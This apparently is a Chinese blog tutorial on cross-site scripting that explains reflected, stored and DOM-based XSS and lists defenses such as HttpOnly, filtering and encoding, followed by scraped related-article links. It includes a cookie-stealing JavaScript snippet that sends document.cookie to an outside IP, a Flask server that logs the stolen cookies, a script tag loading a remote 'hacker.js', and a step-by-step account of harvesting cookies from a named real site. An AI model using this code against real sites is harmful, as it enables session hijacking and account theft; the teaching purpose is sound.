XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

XSS攻击案例:

新浪微博遭受XX攻击:

http://soft.yesky.com/security/156/30179156.shtml

人人网遭受XSS攻击:

http://www.freebuf.com/articles/6295.html

简单的测试方法:

所有提交数据的地方都有可能存在XSS,可以用最简单脚本进行测试:

<>alert(“1”)</>XSS攻击类型

反射型:

黑客构造一个包含XSS代码的URL(服务器中没有这样的页面和内容),诱导或等待用户去点击链接,才能触发XSS代码,达到劫持访问、获取cookies的目的。一般容易出现在搜索页面。 例如:https://m.wuage.com/search/self-shop?memberId=4lv8ll4g&keywords=x%22alert(1)%22&psa=M3.s10.0.j4 (此漏洞已经修复,请勿再测,造成访问压力。)

持久型:

如果黑客可以将脚本代码通过发布内容(如发论坛、博文、写留言等)的方式发布后,存储在服务端的数据库或者文件中,成为某个url正常的页面的一部分,所有访问这个页面的所有用户都是受害者,看似正常的url,则其页面已经包含了xss代码,持久型XSS更具有隐蔽性,带来的危害也更大

例如:在页面中不容注意的地方加一段js脚本(如下),当页面被打开时,页面会加载这段脚本,加系统登录的cookies发送到远端hacker的手中。

<type="text/java"src="https://xss.xxx.com/hacker.js"></>

DOM型:

DOM就是一个树状的模型,你可以编写Java代码根据DOM一层一层的节点,去遍历/获取/修改对应的节点,对象,值。dom xss并不复杂,他也属于反射型xss的一种(,domxss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的),简单去理解就是因为他输出点在DOM,所以在道哥的《白帽子讲Web安全里》也有详细介绍。xss代码可能是简短的插入节点的语句,载入来自第三方域的含有具体恶意代码的脚本。具体的恶意代码,常见的行为是读取cookie,构造例如一个img标签,将其src属性指向恶意第三方网站,将cookie的内容作为参数附在src的url上,这样黑客就能在其网站上获得你的cookie信息,这就是所谓的cookie劫持。

js获取浏览器的cookies, 通过网络将cookies发送给远端的接https://xss.xxx.com/hacker.js,收程序。

varimg = document.( 'img'); img.width = 0; img.height = 0; img.src = 'http://10.100.100.14:5000/?hacker='+encodeURIComponent( document.cookie);

接收端,利用python flask写个非常简单的项目

fromflask importFlask, request app = Flask(__name__) @app.route('/')defget_cookies():text = request.args.get( 'hacker') withopen(file_path, mode= 'a', encoding= 'utf-8') asf: f.writelines(text + "\n") if__name__ == '__main__': app.run(host= '0.0.0.0', port= 5000, debug=app.debug, threaded= True)

示例:(此漏洞已经修复,请勿再测,造成访问压力。)

在www.wuage.com?fromtf=budao注册过后返回个人中心,在公司名称完成XSS注入

在搜索页面https://s.wuage.com/product/search?fromtf=budao ,选择一个公司点击讯问价格-勾选上同时发布到求购大厅,此时就会收到源源不断的cookies信息。

获取cookies

修改cookies,登录网站:

进入用户的会员中心,查看企业信息

XSS攻击防御

设置HttpOnly以避免cookie劫持的危险。

过滤,对诸如

<>、<img>、<a>

等标签进行过滤。

编码,像一些常见的符号,如<>在输入的时候要对其进行转换编码,这样做浏览器是不会对该标签进行解释执行的,同时也不影响显示效果。

限制,通过以上的案例我们不难发现xss攻击要能达成往往需要较长的字符串,因此对于一些可以预期的输入可以通过限制长度强制截断来进行防御。

XSS常见攻击与防御的更多相关文章

  1. 从零学习安全测试,从XSS漏洞攻击和防御开始

    WeTest 导读 本篇包含了XSS漏洞攻击及防御详细介绍,包括漏洞基础.XSS基础.编码基础.XSS Payload.XSS攻击防御. 第一部分:漏洞攻防基础知识   XSS属于漏洞攻防,我们要研究 ...

  2. WEB常见攻击及防御

    对于一个Web应用来说,可能会面临很多不同的攻击.下面的内容将介绍一些常见的攻击方法,以及面对这些攻击的防御手段. 一.跨站脚本攻击(XSS) 跨站脚本攻击的英文全称是Cross Site Scrip ...

  3. XSS 跨站脚本攻击 的防御解决方案

    虽然说在某些特殊情况下依然可能会产生XSS,但是如果严格按照此解决方案则能避免大部分XSS攻击. 原则:宁死也不让数据变成可执行的代码,不信任任何用户的数据,严格区数据和代码. XSS的演示 Exam ...

  4. xss跨站脚本攻击与防御读书笔记(原创)

    XSS在客户端执行 可以任意执行js代码 0x01  xss 的利用方式 1. 钓鱼      案例:http://www.wooyun.org/bugs/wooyun-2014-076685  我是 ...

  5. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  6. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  7. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  8. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  9. 常见【十种】WEB攻击及防御技术总结

    最近参加了一个WEB安全培训,感觉WEB攻击跟防御都是挺有意思的.以下总结比较简短,仅供观赏哈. 一.XSS攻击 [介绍] xss攻击是跨站脚本攻击,例如在表单中提交含有可执行的javascript的 ...

随机推荐

  1. [HAOI2011] Problem b - 莫比乌斯反演

    复习一下莫比乌斯反演 首先很显然用一下容斥把它转化成求 \(ans=\sum_{i=1}^a \sum_{j=1}^b [{gcd(i,j)=d}]\) 我们可以定义 f(d) 和 F(d) 如下: ...

  2. I+Me=完整的自我

    这是这个系列的第二篇文章,如同第一篇一样,这篇文章会在24小时后删除. 之所以如此极端,因为我自认为这篇文章很有价值,不以这种方式,大家即使看了,也只会一带而过,不会真的汲取到营养. 这篇文章涉及的关 ...

  3. MySQL主键设计盘点

    目录 主键定义 主键设计和应用原则 主键生成策略 自增ID UUID 自建的id生成器 Twitter的snowflake算法 @ 最近在项目中用了UUID的方式生成主键,一开始只是想把这种UUID的 ...

  4. python笔记-01

    Python环境安装 1.Windows下一键环境安装包 2.Python2.X与Python3.X 什么是代码? 代码是现实世界事物在计算机世界中的映射 什么是写代码? 写代码是将现实世界中的事物用 ...

  5. redis相关问题记录

    问题:无法在redis自行set操作 错误信息:(error) MISCONF Redis is configured to save RDB snapshots, but is currently ...

  6. C 库函数 - strcpy()

    描述 C 库函数 char *strcpy(char *dest, const char *src) 把 src 所指向的字符串复制到 dest. 需要注意的是如果目标数组 dest 不够大,而源字符 ...

  7. SVN提交时没有写注释

    会报错: Error: Commit blocked by pre-commit hook (exit code 1) with output: Error: [Commit failed]: Emp ...

  8. Vue(二)

    ---恢复内容开始--- 1.vue条件指令 可以运行加减运算 可以进行if判断 <!DOCTYPE html> <html> <head> <meta ch ...

  9. cvtColor(src, src_gray, CV_BGR2GRAY)报错

    利用cvtColor 进行灰度转换时,不能将  灰度图 转为灰度图,所以在转换前,需对原始图像进行判断. 将这个改成以下 int main(int argc, char* argv[]) { Mat ...

  10. SpringMVC项目使用elastic search搜索

    项目需要,引入了elastic search(后续简称es),后面将介绍本地对es的安装,使用以及java连接es查询的整个过程. 1.es索引字段建立与修改,以curl新增一个索引字段示例 curl ...